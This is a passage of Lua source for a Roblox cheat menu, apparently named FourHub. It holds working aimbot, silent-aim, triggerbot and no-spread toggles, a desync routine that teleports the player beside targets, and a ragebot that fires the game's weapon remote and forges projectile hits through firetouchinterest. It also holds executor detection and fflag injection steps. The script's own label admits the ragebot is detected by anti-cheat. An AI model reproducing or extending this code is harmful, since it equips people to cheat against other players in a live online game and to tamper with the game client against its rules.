1, Max = 100, Rounding = 0, Callback = function(v) ELI.silent_aim.hit_chance = v; end }); silentaim_tab:AddSlider('silent_aim_lerp', { Text = 'lerp', Default = 0, Min = 0, Max = 1, Rounding = 2, Callback = function(v) ELI.silent_aim.lerp = v; end }); end; local aimbot_tab = aim_tabs:AddTab('aimbot'); do local keybind_aimbot_enable = false; aimbot_tab:AddToggle('aimbot_enable', { Text = 'enable', Default = false, Callback = function(v) keybind_aimbot_enable = v; ELI.aimbot.enable = v; afov.Visible = v and ELI.aimbot.show_fov or false; Toggles.aimbot_show_fov_enable:SetVisible(v); end }):AddKeyPicker('aimbot_keybind', { Default = '...', Text = 'aimbot', NoUI = false, EnableCheck = function() return ELI.aimbot.enable; end, Callback = function(v) ELI.aimbot.enable = keybind_aimbot_enable and v or false; afov.Visible = ELI.aimbot.enable and ELI.aimbot.show_fov or false; end }); aimbot_tab:AddToggle('aimbot_show_fov_enable', { Text = 'show fov', Default = false, Visible = false, Callback = function(v) ELI.aimbot.show_fov = v; afov.Visible = v and ELI.aimbot.enable or false; Options.aimbot_fov_radius:SetVisible(v); Options.aimbot_fov_transparency:SetVisible(v); Options.aimbot_fov_thickness:SetVisible(v); Options.aimbot_rotation_speed:SetVisible(v); Toggles.aimbot_show_fill_enable:SetVisible(v); end }):AddColorPicker('aimbot_fov_color', { Title = 'fov color', Default = Color3.fromRGB(0, 30, 255), Callback = function(v) ELI.aimbot.fov_color = v; end }):AddColorPicker('aimbot_fov_color2', { Title = 'fov color 2', Default = Color3.fromRGB(255, 255, 255), Callback = function(v) ELI.aimbot.fov_color2 = v; end }); aimbot_tab:AddToggle('aimbot_follow_gunpoint', { Text = 'follow gunpoint', Default = false, Callback = function(v) ELI.aimbot.follow_gunpoint = v; end }); aimbot_tab:AddToggle('aimbot_follow_target', { Text = 'follow target', Default = false, Callback = function(v) ELI.aimbot.follow_target = v; end }); aimbot_tab:AddToggle('aimbot_closest_part', { Text = 'closest part', Default = false, Callback = function(v) ELI.aimbot.closest_part = v; end }); aimbot_tab:AddToggle('aimbot_show_fill_enable', { Text = 'show fill', Default = false, Visible = false, Callback = function(v) ELI.aimbot.show_fill = v; Options.aimbot_fill_transparency:SetVisible(v); end }):AddColorPicker('aimbot_fill_color_primary', { Title = 'fill color', Default = Color3.fromRGB(0, 30, 255), Callback = function(v) ELI.aimbot.fov_fill_color = v; end }):AddColorPicker('aimbot_fill_color_secondary', { Title = 'fill color 2', Default = Color3.fromRGB(255, 255, 255), Callback = function(v) ELI.aimbot.fov_fill_color2 = v; end }); aimbot_tab:AddSlider('aimbot_fov_radius', { Text = 'radius', Default = 180, Suffix = 'px', Min = 1, Max = 600, Rounding = 0, Visible = false, Callback = function(v) ELI.aimbot.fov_radius = v; end }); aimbot_tab:AddSlider('aimbot_fill_transparency', { Text = 'fill transparency', Default = 0.6, Min = 0, Max = 1, Rounding = 2, Visible = false, Callback = function(v) ELI.aimbot.fov_fill_transparency = v; end }); aimbot_tab:AddSlider('aimbot_fov_transparency', { Text = 'fov transparency', Default = 0.2, Min = 0, Max = 1, Rounding = 2, Visible = false, Callback = function(v) ELI.aimbot.fov_outline_transparency = v; end }); aimbot_tab:AddSlider('aimbot_fov_thickness', { Text = 'thickness', Default = 2, Min = 1, Max = 10, Rounding = 0, Visible = false, Callback = function(v) ELI.aimbot.fov_thickness = v; end }); aimbot_tab:AddSlider('aimbot_rotation_speed', { Text = 'rotation speed', Default = 90, Min = 0, Max = 360, Rounding = 0, Visible = false, Callback = function(v) ELI.aimbot.fov_rotation_speed = v; end }); aimbot_tab:AddSlider('aimbot_smoothing', { Text = 'smoothing', Suffix = 's', Default = 1, Min = 0, Max = 1, Rounding = 2, Callback = function(v) ELI.aimbot.smoothing = v; end }); aimbot_tab:AddSlider('aimbot_lerp', { Text = 'lerp', Default = 0, Min = 0, Max = 1, Rounding = 2, Callback = function(v) ELI.aimbot.lerp = v; end }); end; end; local triggerbot_tab = legit_tab:AddRightGroupbox('triggerbot'); do local keybind_triggerbot_enable = false; triggerbot_tab:AddToggle('triggerbot_enable', { Text = 'enable', Default = false, Callback = function(v) keybind_triggerbot_enable = v; ELI.triggerbot.enable = v; end }):AddKeyPicker('triggerbot_keybind', { Default = '...', Text = 'triggerbot', NoUI = false, EnableCheck = function() return ELI.triggerbot.enable; end, Callback = function(v) ELI.triggerbot.enable = keybind_triggerbot_enable and v or false; end }); triggerbot_tab:AddToggle('triggerbot_team_check', { Text = 'team check', Default = false, Callback = function(v) ELI.triggerbot.team_check = v; end }); triggerbot_tab:AddSlider('triggerbot_reaction_time', { Text = 'reaction time', Default = 0.05, Min = 0, Max = 2, Rounding = 2, Suffix = 's', Callback = function(v) ELI.triggerbot.reaction_time = v; end }); triggerbot_tab:AddSlider('triggerbot_shoot_delay', { Text = 'shoot delay', Default = 0.1, Min = 0, Max = 2, Rounding = 2, Suffix = 's', Callback = function(v) ELI.triggerbot.shoot_delay = v; end }); triggerbot_tab:AddSlider('triggerbot_max_distance', { Text = 'max distance', Default = 2500, Min = 1, Max = 2500, Rounding = 0, Suffix = 'studs', Callback = function(v) ELI.triggerbot.max_distance = v; end }); end; local guns_tab = legit_tab:AddRightGroupbox('guns'); do guns_tab:AddToggle('no_muzzle_flash_enable', { Text = 'no muzzle flash', Default = false, Callback = function(v) ELI.guns.no_muzzle_flash = v; end }); guns_tab:AddToggle('no_spread_enable', { Text = 'no spread', Default = false, Callback = function(v) ELI.guns.no_spread = v; end }); guns_tab:AddToggle('force_modifier_enable', { Text = 'force modifier', Default = false, Callback = function(v) ELI.guns.force_modifier_enable = v; Options.force_modifier_value:SetVisible(v); if v then for i, item in next, item_lib.Items do old_force_auto[i] = item.InputSpammingEnabled.StartShooting; end; else for i, item in next, item_lib.Items do item.InputSpammingEnabled.StartShooting = old_force_auto[i]; end; end; end }); guns_tab:AddSlider('force_modifier_value', { Text = '', Suffix = 'x', Default = 0, Min = 0, Max = 1, Rounding = 2, Visible = false, Callback = function(v) ELI.guns.force_modifier_v = v; end }); end; local targeting_tab = legit_tab:AddLeftGroupbox('targeting'); do targeting_tab:AddToggle('visible_only_enable', { Text = 'visible only', Default = false, Callback = function(v) ELI.targeting.visible_only = v; end }); targeting_tab:AddToggle('auto_shoot_enable', { Text = 'auto shoot', Default = false, Callback = function(v) ELI.targeting.auto_shoot = v; end }); local keybind_anti_katana_enable = false; targeting_tab:AddToggle('anti_katana_enable', { Text = 'anti katana', Default = false, Callback = function(v) keybind_anti_katana_enable = v; ELI.targeting.anti_katana = v; end }):AddKeyPicker('anti_katana_keybind', { Default = '...', Text = 'anti katana', NoUI = false, EnableCheck = function() return ELI.targeting.anti_katana; end, Callback = function(v) ELI.targeting.anti_katana = keybind_anti_katana_enable and v or false; end }); local keybind_anti_riot_shield_enable = false; targeting_tab:AddToggle('anti_riot_shield_enable', { Text = 'anti riot shield', Default = false, Callback = function(v) keybind_anti_riot_shield_enable = v; ELI.silent_aim.riot_shield = v; end }):AddKeyPicker('anti_riot_shield_keybind', { Default = '...', Text = 'anti riot shield', NoUI = false, EnableCheck = function() return ELI.silent_aim.riot_shield; end, Callback = function(v) ELI.silent_aim.riot_shield = keybind_anti_riot_shield_enable and v or false; end }); targeting_tab:AddDropdown('targeting_hit_part', { Values = {'Head', 'HumanoidRootPart', 'UpperTorso', 'LowerTorso'}, Default = 1, Multi = false, Text = 'hit part', Callback = function(v) ELI.targeting.part = v; end }); targeting_tab:AddSlider('max_distance', { Text = 'max distance', Default = 100, Min = 100, Max = 700, Rounding = 0, Callback = function(v) ELI.targeting.max_distance = v; end }); end; end; local PredictionService = {} do function PredictionService:Init() self.enabled = false; self.multiplier = 1.2; self.velocity = Vector3.new(0, 0, 0); self.acceleration = Vector3.new(0, 0, 0); self.lastposition = nil; self.lasttime = 0; self.velbuffer = {}; self.posbuffer = {}; self.maxvelsamples = 15; self.maxpossamples = 5; end; function PredictionService:Update(target) if not self.enabled or not target or not target.Character then self.velocity = Vector3.new(0, 0, 0); self.acceleration = Vector3.new(0, 0, 0); self.lastposition = nil; self.velbuffer = {}; self.posbuffer = {}; return end; local root = target.Character:FindFirstChild("HumanoidRootPart"); if not root then return end; local now = tick(); local dt = now - self.lasttime; if dt > 0 and dt < 0.1 then local currentpos = root.Position; table.insert(self.posbuffer, 1, { position = currentpos, time = now }); if #self.posbuffer > self.maxpossamples then table.remove(self.posbuffer); end; if self.lastposition then local instantvel = (currentpos - self.lastposition) / dt; if self.velocity.Magnitude > 0.1 then local instantaccel = (instantvel - self.velocity) / dt; self.acceleration = self.acceleration:Lerp(instantaccel, 0.5); end; table.insert(self.velbuffer, 1, { velocity = instantvel, time = now, dt = dt }); if #self.velbuffer > self.maxvelsamples then table.remove(self.velbuffer); end; if #self.velbuffer > 0 then local weightedsum = Vector3.new(0, 0, 0); local totalweight = 0; for i, entry in next, self.velbuffer do local weight = math.exp(-(i - 1) * 0.3); weightedsum = weightedsum + (entry.velocity * weight); totalweight = totalweight + weight; end; self.velocity = weightedsum / totalweight; else self.velocity = instantvel; end; end; self.lastposition = currentpos; self.lasttime = now; end; end; function PredictionService:Predict(targetpart, origin) if not self.enabled or not targetpart then return targetpart.Position; end; local basepos = targetpart.Position; local distance = (basepos - origin).Magnitude; local ping = 0; pcall(function() ping = game:GetService("Stats").Network.ServerStatsItem["Data Ping"]:GetValue() / 1000; end); local bulletspeed = 3000; local traveltime = distance / bulletspeed; local speed = self.velocity.Magnitude; local adaptivemult = 1.0; if speed > 150 then adaptivemult = 1.5 + math.min((speed - 150) / 300, 1.0); elseif speed > 80 then adaptivemult = 1.3; elseif speed > 40 then adaptivemult = 1.1; elseif speed < 10 then adaptivemult = 0.7; end; local totaltime = (traveltime + ping) * self.multiplier * adaptivemult; local predicted = basepos + (self.velocity * totaltime); if self.acceleration.Magnitude > 5 and speed > 50 then predicted = predicted + self.acceleration * (totaltime * totaltime * 0.5); end; if #self.posbuffer >= 3 then local jittersum = Vector3.new(0, 0, 0); for i = 1, math.min(3, #self.posbuffer - 1) do jittersum = jittersum + (self.posbuffer[i].position - self.posbuffer[i + 1].position); end; local avgjitter = jittersum / math.min(3, #self.posbuffer - 1); if avgjitter.Magnitude > 2 then predicted = predicted + (avgjitter * 0.3); end; end; if math.abs(self.velocity.Y) > 5 then predicted = predicted + Vector3.new(0, self.velocity.Y * totaltime * 0.15, 0); end; return predicted; end; PredictionService:Init(); end; local DesyncService = {} do function DesyncService:Init() self.active = false; self.connection = nil; self.server = nil; self.client = nil; self.angle = 0; self.speed = 9000; self.fighter = fighter_controller.LocalFighter; local ref = camera_controller.Update; camera_controller.Update = function(...) if self.active and self.fighter and self.fighter.Entity.RootPart and self.client then self.fighter.Entity.RootPart.CFrame = self.client; end; return ref(...); end; end; function DesyncService:Start(target) if self.active then return end; if not local_player.Character then return end; if not self.fighter or not self.fighter.Entity.RootPart then return end; self.active = true; self.connection = run_service.Heartbeat:Connect(LPH_NO_VIRTUALIZE(function(dt) if not self.active then if self.connection then self.connection:Disconnect(); self.connection = nil; end; return end; if not target or not target.Character or not target.Character:FindFirstChild('HumanoidRootPart') or not self.fighter or not self.fighter.Entity.RootPart then if self.connection then self.connection:Disconnect(); self.connection = nil; end; if self.client and self.fighter and self.fighter.Entity.RootPart then self.fighter.Entity.RootPart.CFrame = self.client; end; self.active = false; self.client = nil; self.server = nil; return end; self.client = self.fighter.Entity.RootPart.CFrame; local item = self.fighter.EquippedItem; if not item then return end; local targetPos = target.Character.HumanoidRootPart.Position; if is_deflecting(target) or has_riot(target) then self.server = Vector3.new(0, 2^26, 0); return end; if item.Name == "Slingshot" then self.server = Vector3.new(0, 2^26, 0); else self.server = targetPos + Vector3.new(ELI.ragebot.x, ELI.ragebot.y, ELI.ragebot.z); end; self.fighter.Entity.RootPart.CFrame = CFrame.new(self.server); end)); end; function DesyncService:Stop() if not self.active then return end; if self.connection then self.connection:Disconnect(); self.connection = nil; end; if self.client and self.fighter and self.fighter.Entity.RootPart then self.fighter.Entity.RootPart.CFrame = self.client; end; self.active = false; self.server = nil; self.client = nil; end; DesyncService:Init(); end do local POOL_SIZE = 32; local pool = {}; local throwables = { ["grenade"] = true, ["molotov"] = true, ["flashbang"] = true, ["smoke grenade"] = true, ["satchel"] = true, ["jump pad"] = true, ["war horn"] = true, ["flare gun"] = true, }; local function getPart(i) local p = pool[i]; if p and p.Parent then return p end; p = Instance.new("Part"); p.Anchored = true; p.CanCollide = false; p.CanQuery = false; p.CanTouch = false; p.Shape = Enum.PartType.Ball; p.Size = Vector3.new(0.4, 0.4, 0.4); p.Material = Enum.Material.Neon; p.Parent = workspace; pool[i] = p; return p; end; local function hideFrom(n) for i = n, POOL_SIZE do local p = pool[i]; if p then p.Transparency = 1 end; end; end; local function clearPool() for i, p in eli_pairs(pool) do pcall(function() p:Destroy() end); pool[i] = nil; end; end; local function computeArc(startPos, velocity, gravity, dt, steps, params) local points = { startPos }; local pos = startPos; local vel = velocity; for _ = 1, steps do local nextPos = pos + vel * dt + gravity * (0.5 * dt * dt); local hit = params and workspace:Raycast(pos, nextPos - pos, params); if hit then points[#points + 1] = hit.Position; return points; end; points[#points + 1] = nextPos; pos = nextPos; vel = vel + gravity * dt; end; return points; end; trove:Add(run_service.RenderStepped:Connect(LPH_NO_VIRTUALIZE(function() local cfg = ELI.trajectory; if not cfg.enable then hideFrom(1); return end; local fighter = fighter_controller.LocalFighter; local item = fighter and fighter.EquippedItem; local name = item and item.Name; local show = cfg.all_weapons or (name ~= nil and throwables[string.lower(name)] == true); if not show then hideFrom(1); return end; local origin = camera.CFrame.Position; local velocity = camera.CFrame.LookVector * cfg.speed + Vector3.new(0, cfg.arc_up, 0); local gravity = Vector3.new(0, -workspace.Gravity, 0); local params = RaycastParams.new(); params.FilterType = Enum.RaycastFilterType.Exclude; params.FilterDescendantsInstances = { local_player.Character }; local points = computeArc(origin, velocity, gravity, 0.07, POOL_SIZE - 1, params); for i = 1, #points do local p = getPart(i); p.Position = points[i]; p.Color = cfg.color; p.Transparency = 0; end; hideFrom(#points + 1); end))); trove:Add(clearPool); end; local RagebotService = {} do function RagebotService:Init() self.active = false; self.debounce = false; self.lastShot = os.clock(); self.connection = nil; end; function RagebotService:IsValid(player) if not (player and player.Character and player.Character:FindFirstChild("Humanoid") and player.Character.Humanoid.Health > 0 and player:GetAttribute('EnvironmentID') == local_player:GetAttribute('EnvironmentID')) then return false; end; if ELI.ragebot.ffa_mode then return true; end; return local_player:GetAttribute('TeamID') ~= player:GetAttribute('TeamID'); end; function RagebotService:GetClosest() local closest, best = nil, math.huge; for _, player in next, players:GetPlayers() do if player ~= local_player and self:IsValid(player) then local rootpos = player.Character.HumanoidRootPart.Position; local mag = local_player:DistanceFromCharacter(rootpos); if mag < best then closest, best = player, mag; end; end; end; return closest; end; function RagebotService:FireWeapon(target) if not target or not target.Character then return end; local fighter = fighter_controller.LocalFighter; if not fighter then return end; local item = fighter.EquippedItem; if not item then return end; if is_deflecting(target) or has_riot(target) then return end; local head = target.Character:FindFirstChild('HitboxHead') or target.Character:FindFirstChild('HitboxTorso') or target.Character:FindFirstChild('HumanoidRootPart'); if not head then return end; local character = local_player.Character; if not character or not character:FindFirstChild('HumanoidRootPart') then return end; local shootPos = DesyncService.active and DesyncService.server or character.HumanoidRootPart.Position; local aimPos = head.Position; if ELI.ragebot.prediction then local troot = target.Character:FindFirstChild('HumanoidRootPart'); if troot then local ping = 0.05; pcall(function() ping = local_player:GetNetworkPing() end); local lead = math.clamp(ping, 0, 0.4) * (ELI.ragebot.prediction_amount or 1); aimPos = aimPos + troot.AssemblyLinearVelocity * lead; end; end; local data = { [utf8.char(1)] = { [utf8.char(0)] = utility:EncodeCFrame(CFrame.new(shootPos, aimPos)), [utf8.char(1)] = utility:EncodeCFrame(CFrame.new(shootPos, aimPos)), [utf8.char(2)] = head, [utf8.char(1)] = utility:EncodeCFrame(CFrame.new(shootPos, aimPos)), }, }; replicated_storage.Remotes.Replication.Fighter.UseItem:FireServer(item:Get('ObjectID'), enum_lib:ToEnum('StartShooting'), data, nil); end; function RagebotService:ProjectileHandler() workspace.DescendantAdded:Connect(function(child) if not ELI.ragebot.enable then return end; if child:IsA('BasePart') or child:IsA('Model') then if child.Name == "Slingshot" or child.Name == "CoreProjectile" or child.Name == "OuterProjectile" then task.spawn(function() task.wait(0.03); local proj = child:IsA('BasePart') and child or child:FindFirstChildWhichIsA('BasePart'); if not proj then return end; proj.CanTouch = true; for i = 1, 45 do if not ELI.ragebot.enable then break end; local target = self:GetClosest(); if target and target.Character then local hitpart = target.Character:FindFirstChild('HitboxHead') or target.Character:FindFirstChild('HumanoidRootPart'); if hitpart and hitpart:IsA("BasePart") and hitpart.Parent and proj.Parent and hitpart:IsDescendantOf(workspace) and proj:IsDescendantOf(workspace) then pcall(firetouchinterest, hitpart, proj, 0); pcall(firetouchinterest, hitpart, proj, 1); end; end; task.wait(); end; end); end; end; end); end; function RagebotService:Start() if self.connection then return end; self.connection = run_service.Heartbeat:Connect(LPH_NO_VIRTUALIZE(function() if not ELI.ragebot.enable then self:Stop(); return end; local target = self:GetClosest(); if not target then DesyncService:Stop() return end; local fighter = fighter_controller.LocalFighter; if not fighter then DesyncService:Stop() return end; local item = fighter.EquippedItem; if not item then DesyncService:Stop() return end; local target_fighter = fighter_controller:GetFighter(target); if not target_fighter then DesyncService:Stop() return end; local viewmodel = item.ViewModel; if not viewmodel then DesyncService:Stop() return end; local target_entity = target_fighter.Entity; if not target_entity or target_entity:Get('IsInvincible') then DesyncService:Stop() return end; if item:Get('Ammo') and item:Get('Ammo') > 0 and not viewmodel:IsAnimationPlaying('Reload') then if self.debounce == false then self.debounce = os.clock() + 0.5; return end; if typeof(self.debounce) == 'number' and os.clock() < self.debounce then return end; if typeof(self.debounce) == 'number' then self.debounce = true; end; DesyncService:Start(target); if not target.Character then return end; if DesyncService.server then self.lastShot = os.clock(); self:FireWeapon(target); end; else if not viewmodel:IsAnimationPlaying('Reload') then setthreadidentity(2); item:Input('StartReloading'); setthreadidentity(7); end; end; end)); end; function RagebotService:Stop() if self.connection then self.connection:Disconnect(); self.connection = nil; end; self.debounce = false; DesyncService:Stop(); end; RagebotService:Init(); RagebotService:ProjectileHandler(); end; local ragebot_tab = Tabs.Main:AddRightGroupbox('ragebot') do ragebot_tab:AddLabel('warning: ragebot is detected - use at your own risk', true); ragebot_tab:AddToggle('ragebot_enable', { Text = 'enable', Default = false, Callback = function(v) ELI.ragebot.enable = v; if v then RagebotService:Start(); else RagebotService:Stop(); end; end }); ragebot_tab:AddToggle('ragebot_ffa_mode', { Text = 'ffa mode', Default = false, Callback = function(v) ELI.ragebot.ffa_mode = v; end }); ragebot_tab:AddSlider('ragebot_x', { Text = 'x offset', Default = 7, Min = 1, Max = 10, Rounding = 1, Callback = function(v) ELI.ragebot.x = v; end }); ragebot_tab:AddSlider('ragebot_y', { Text = 'y offset', Default = 7, Min = 1, Max = 10, Rounding = 1, Callback = function(v) ELI.ragebot.y = v; end }); ragebot_tab:AddSlider('ragebot_z', { Text = 'z offset', Default = 7, Min = 1, Max = 10, Rounding = 1, Callback = function(v) ELI.ragebot.z = v; end }); ragebot_tab:AddToggle('ragebot_prediction', { Text = 'prediction', Default = true, Callback = function(v) ELI.ragebot.prediction = v; Options.ragebot_prediction_amount:SetVisible(v); end }); ragebot_tab:AddSlider('ragebot_prediction_amount', { Text = 'prediction strength', Default = 1, Min = 0, Max = 3, Rounding = 2, Callback = function(v) ELI.ragebot.prediction_amount = v; end }); end do local opt_tab = Tabs.optimizations; local function apply(kind) pcall(function() getgenv().FourHub_apply_opt(kind) end) end; local boost_box = opt_tab:AddLeftGroupbox('fps boost'); boost_box:AddToggle('opt_no_particles', { Text = 'remove particles & effects', Default = false, Callback = function(v) ELI.optimizations.no_particles = v; apply('particles'); end }); boost_box:AddToggle('opt_no_shadows', { Text = 'disable shadows', Default = false, Callback = function(v) ELI.optimizations.no_shadows = v; apply('shadows'); end }); boost_box:AddToggle('opt_no_postfx', { Text = 'disable post processing', Default = false, Callback = function(v) ELI.optimizations.no_postfx = v; apply('postfx'); end }); boost_box:AddToggle('opt_low_quality', { Text = 'low render quality', Default = false, Callback = function(v) ELI.optimizations.low_quality = v; apply('quality'); end }); boost_box:AddToggle('opt_no_atmosphere', { Text = 'disable atmosphere & clouds', Default = false, Callback = function(v) ELI.optimizations.no_atmosphere = v; apply('atmosphere'); end }); boost_box:AddToggle('opt_no_textures', { Text = 'remove textures', Default = false, Callback = function(v) ELI.optimizations.no_textures = v; apply('textures'); end }); boost_box:AddButton('quick boost (all)', function() Toggles.opt_no_particles:SetValue(true); Toggles.opt_no_shadows:SetValue(true); Toggles.opt_no_postfx:SetValue(true); Toggles.opt_low_quality:SetValue(true); Toggles.opt_no_atmosphere:SetValue(true); Library:Notify('Applied fps boost', 3); end); local fr_box = opt_tab:AddRightGroupbox('frame rate'); fr_box:AddToggle('opt_fps_cap_enable', { Text = 'limit fps', Default = false, Callback = function(v) ELI.optimizations.fps_cap_enable = v; apply('fpscap'); if v and not setfpscap then Library:Notify('your executor has no setfpscap, to unlock fps past 60 use the fflags injector below then rejoin', 8); end; end }); fr_box:AddSlider('opt_fps_cap', { Text = 'fps limit', Default = 60, Min = 30, Max = 240, Rounding = 0, Callback = function(v) ELI.optimizations.fps_cap = v; apply('fpscap'); end }); fr_box:AddLabel('this caps fps where setfpscap is supported, on mobile roblox is locked to 60 by the engine, raising this slider will not go past 60, to truly unlock use the fflags injector then fully rejoin', true); local ff_box = opt_tab:AddRightGroupbox('fflags injector'); ff_box:AddLabel('how to use', false); ff_box:AddLabel('1 tap "inject fps boost fflags"', true); ff_box:AddLabel('2 it applies live if your executor supports it and always saves them to the FourHub fflags file', true); ff_box:AddLabel('3 if it only saved, open your executor fastflags editor and import that file (or paste it in)', true); ff_box:AddLabel('4 fully close and rejoin roblox to apply', true); ff_box:AddLabel('this unlocks fps past 60 and forces low graphics for a big fps gain, paste your own flags in the box for custom ones', true); ff_box:AddDivider(); local exec_label = ff_box:AddLabel('detecting your executor', true) do local name = ''; local fn = identifyexecutor or getexecutorname; if fn then local ok, n = pcall(fn); if ok and n then name = tostring(n) end; end; local key = string.lower(name); local known = { 'delta', 'codex', 'cryptic', 'fluxus', 'arceus', 'hydrogen', 'vega', 'trigon', 'evon', 'electron', 'mercury', 'nihon', 'cloud', 'sirhurt', 'krnl', 'wave', 'solara', 'xeno', 'velocity', 'seliware', 'zenith', 'ronix', 'synapse', 'bytebreaker', 'potassium', 'volt', 'awp', 'swift', 'bunni', 'isabelle', 'jjsploit', 'nezur', 'comet', 'argon', 'matcha', 'nihon', 'valex', 'assembly', 'macsploit', 'opiumware', 'nirvana', 'hydrogen', }; local overrides = { delta = 'tap the floating delta icon > settings (gear) > fastflags, paste or import the json then save', fluxus = 'open settings > fastflags manager, paste or import the json then save', codex = 'open menu > settings > fastflags editor, paste or import the json', cryptic = 'open menu > settings > fastflags, paste or import the json', macsploit = 'open the macsploit menu > settings > fastflags, paste the json', arceus = 'open menu > settings > fastflags, paste or import the json', }; local base = 'open its settings > fastflags editor, paste or import the FourHub fflags file then save'; local matched; for _, k in eli_ipairs(known) do if key ~= '' and string.find(key, k, 1, true) then matched = k; break; end; end; local guide; if name == '' then guide = 'could not auto detect your executor, open its fastflags or config editor, import the FourHub fflags file then fully rejoin roblox'; else local steps = (matched and overrides[matched]) or base; guide = 'detected ' .. string.lower(name) .. ', ' .. steps .. ' then fully rejoin roblox'; end; pcall(function() exec_label:SetText(guide) end); end; local function do_inject(json) local injector = getgenv().FourHub_inject_fflags; if not injector then Library:Notify('fflags injector not ready', 4); return end; local res = injector(json); if not res or not res.ok then Library:Notify('fflags: ' .. ((res and res.reason) or 'failed'), 4); return end; if res.live and res.applied > 0 then Library:Notify(string.format('fflags applied %d/%d live - rejoin to fully apply', res.applied, res.total), 6); elseif res.saved then Library:Notify('fflags saved to FourHub/fflags.json - import in your executor & rejoin', 7); else Library:Notify('your executor cannot set fflags from a script', 5); end; end; ff_box:AddButton('inject fps boost fflags', function() do_inject(nil); end); ff_box:AddInput('opt_fflag_custom', { Text = 'custom fflags json', Default = '', Placeholder = 'paste fflags json here', }); ff_box:AddButton('inject custom fflags', function() local v = Options.opt_fflag_custom and Options.opt_fflag_custom.Value or ''; do_inject(v); end); ff_box:AddButton('save preset to file', function() if not writefile then Library:Notify('no writefile support', 4); return end; pcall(function() if makefolder and isfolder and not isfolder('FourHub') then makefolder('FourHub') end; writefile('FourHub/fflags.json', getgenv().FourHub_fflag_preset or '{}'); end); Library:Notify('saved preset to FourHub/fflags.json', 5); end); end; local visuals_tab = Tabs.visualstab; do local viewmodel_thing = visuals_tab:AddLeftTabbox(); do local viewmodel_tab = viewmodel_thing:AddTab('viewmodel'); do local vm_material_names = getgenv().FourHub_materials.names; local function build_vm_chams_section(tab, key, chams_label, is_arms) local prefix = 'vm_' .. key; local vm = ELI.viewmodel_chams; tab:AddToggle(prefix .. '_chams_enable', { Text = chams_label, Default = false, Callback = function(v) vm[key .. '_chams'].enable = v; Options[prefix .. '_chams_material']:SetVisible(v); Options[prefix .. '_chams_transparency']:SetVisible(v); if is_arms then Options[prefix .. '_chams_invisible']:SetVisible(v) end; end; }):AddColorPicker(prefix .. '_chams_color', { Title = 'color', Default = Color3.fromRGB(255, 255, 255), Callback = function(v) vm[key .. '_chams'].color = v; end; }); tab:AddDropdown(prefix .. '_chams_material', { Text = 'material', Values = vm_material_names, Default = 'Neon', Visible = false, Callback = function(v) vm[key .. '_chams'].material = v; end; }); tab:AddSlider(prefix .. '_chams_transparency', { Text = 'transparency', Default = 0, Min = 0, Max = 1, Rounding = 2, Visible = false, Callback = function(v) vm[key .. '_chams'].transparency = v; end; }); if is_arms then tab:AddToggle(prefix .. '_chams_invisible', { Text = 'invisible arms', Default = false, Visible = false, Callback = function(v) vm.arm_chams.invisible = v; end; }); end; tab:AddToggle(prefix .. '_highlight_enable', { Text = is_arms and 'arm highlight' or 'weapon highlight', Default = false, Callback = function(v) vm[key .. '_highlight'].enable = v; Options[prefix .. '_highlight_fill']:SetVisible(v); Options[prefix .. '_highlight_outline']:SetVisible(v); end; }):AddColorPicker(prefix .. '_highlight_color', { Title = 'fill color', Default = Color3.fromRGB(255, 255, 255), Callback = function(v) vm[key .. '_highlight'].color = v; end; }):AddColorPicker(prefix .. '_highlight_outline_color', { Title = 'outline color', Default = Color3.fromRGB(255, 255, 255), Callback = function(v) vm[key .. '_highlight'].outline_color = v; end; }); tab:AddSlider(prefix .. '_highlight_fill', { Text = 'fill transparency', Default = 0.5, Min = 0, Max = 1, Rounding = 2, Visible = false, Callback = function(v) vm[key .. '_highlight'].transparency = v; end; }); tab:AddSlider(prefix .. '_highlight_outline', { Text = 'outline transparency', Default = 0, Min = 0, Max = 1, Rounding = 2, Visible = false, Callback = function(v) vm[key .. '_highlight'].outline_transparency = v; end; }); end; local weapon_chams_tab = viewmodel_thing:AddTab('weapon'); build_vm_chams_section(weapon_chams_tab, 'weapon', 'weapon chams', false); local arm_chams_tab = viewmodel_thing:AddTab('arms'); build_vm_chams_section(arm_chams_tab, 'arm', 'arm chams', true); viewmodel_tab:AddToggle('viewmodel_offsets', { Text = 'viewmodel override', Default = false, Callback = function(v) ELI.viewmodel_offsets.enable = v; Options.viewmodel_offset_x:SetVisible(v); Options.viewmodel_offset_y:SetVisible(v); Options.viewmodel_offset_z:SetVisible(v); if v then for i, vm in next, item_lib.ViewModels do if vm.RootPartOffset then oldoffsets[i] = vm.RootPartOffset; end; end; else for i, vm in next, item_lib.ViewModels do if oldoffsets[i] then vm.RootPartOffset = oldoffsets[i]; end; end; oldoffsets = {}; end; end; }); viewmodel_tab:AddSlider('viewmodel_offset_x', { Text = 'x', Default = 0, Min = -5, Max = 5, Rounding = 2, Visible = false, Callback = function(v) ELI.viewmodel_offsets.x = v; end; }); viewmodel_tab:AddSlider('viewmodel_offset_y', { Text = 'y', Default = 0, Min = -5, Max = 5, Rounding = 2, Visible = false, Callback = function(v) ELI.viewmodel_offsets.y = v; end; }); viewmodel_tab:AddSlider('viewmodel_offset_z', { Text = 'z', Default = 0, Min = -5, Max = 5, Rounding = 2, Visible = false, Callback = function(v) ELI.viewmodel_offsets.z = v; end; }); viewmodel_tab:AddToggle('bullet_tracers_enable', { Text = 'bullet tracers', Default = false, Callback = function(v) ELI.bullet_tracers.enable = v; Options.bullet_tracers_texture:SetVisible(v); Options.bullet_tracers_speed:SetVisible(v); Options.bullet_tracers_lifetime:SetVisible(v); Options.bullet_tracers_width0:SetVisible(v); Options.bullet_tracers_width1:SetVisible(v); Options.bullet_tracers_position_lerp_speed:SetVisible(v); Options.bullet_tracers_spring_expand:SetVisible(v); Options.bullet_tracers_expand_speed:SetVisible(v and ELI.bullet_tracers.spring_expand); Options.bullet_tracers_expand_damper:SetVisible(v and ELI.bullet_tracers.spring_expand); end; }):AddColorPicker('bullet_tracers_color_start', { Title = 'color start', Default = Color3.fromRGB(255, 255, 255), Callback = function(v) ELI.bullet_tracers.color_start = v; end; }):AddColorPicker('bullet_tracers_color_end', { Title = 'color end', Default = Color3.fromRGB(255, 255, 255), Callback = function(v) ELI.bullet_tracers.color_end = v; end; }); viewmodel_tab:AddToggle('bullet_tracers_curve', { Text = 'curve around walls', Default = false, Callback = function(v) ELI.bullet_tracers.curve_around = v; Options.bullet_tracers_curve_height:SetVisible(v); end }); viewmodel_tab:AddToggle('bullet_tracers_through_walls', { Text = 'show through walls', Default = false, Callback = function(v) ELI.bullet_tracers.through_walls = v; end }); viewmodel_tab:AddSlider('bullet_tracers_curve_height', { Text = 'curve height', Default = 14, Min = 2, Max = 60, 